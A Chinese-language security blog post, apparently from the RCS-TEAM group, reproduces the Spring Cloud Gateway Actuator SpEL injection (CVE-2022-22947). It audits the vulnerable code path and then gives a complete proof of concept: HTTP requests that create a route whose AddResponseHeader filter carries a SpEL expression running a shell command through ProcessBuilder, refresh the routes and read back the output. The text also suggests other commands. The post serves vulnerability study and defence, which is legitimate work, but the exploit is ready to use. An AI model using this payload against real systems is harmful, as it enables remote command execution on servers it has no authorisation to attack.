RCS-TEAM安全团队
漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
影响范围
Spring Cloud Gateway以下版本均受影响:
-
3.1.0
-
3.0.0至3.0.6
-
其他老版本
漏洞复现
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动
1、代码审计
首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
如下:
非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置
三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用
最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中
继续向上寻找bind方法的调用
发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中向下调用spel表达式时恰好需要的properties成员变量。
由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:
RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route
也可以看到确实来自于filter的添加。
所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。
再从spring cloud gateway的文档进行查看
文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。
但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到
org.springframework.cloud.gateway.filter.FilterDefinition
这个filter的定义类中,其成员变量如下
运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法
跟进该方法可以看到对filter给进的name有验证
调试模型下可以看到允许的name如下
这里的每种name,实际上又对应了不同的GatewayFilterFactory
其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求
根据这里的getName和getValue可以知道还需要添加name和value字段。唉妈~给亮哥累够呛。
2、构建Poc
根据前面的信息,可以逐步汇总出poc的样子,
-
首先是POST /actuator/gateway/routes/{id}
-
然后添加json body,其中需要给出id和filters字段
-
其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value
最终poc如下
-
post请求创建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "http://test.com"
}
有图有真想
-
POST请求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等
-
GET请求/actuator/gateway/routes/test,触发spel,并得到回显
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
得到ping命令的输出
-
DELETE请求删除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
总结
写完狂喷一口老血!我的伟大导师乔布斯说过Java就是一个垃圾,log4j2 到Spring Cloud各种漏洞层出不穷。RCS-TEAM安全团队会一直致力于漏洞复现、漏洞原理、修复方案的研究。原创文章 转载注明出处。
~关注订阅号了解更多网络安全知识~
原文始发于微信公众号(小白嘿课):Spring Cloud Gateway Actuator API SpEL表达式注入命令执行CVE-2022-22947)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论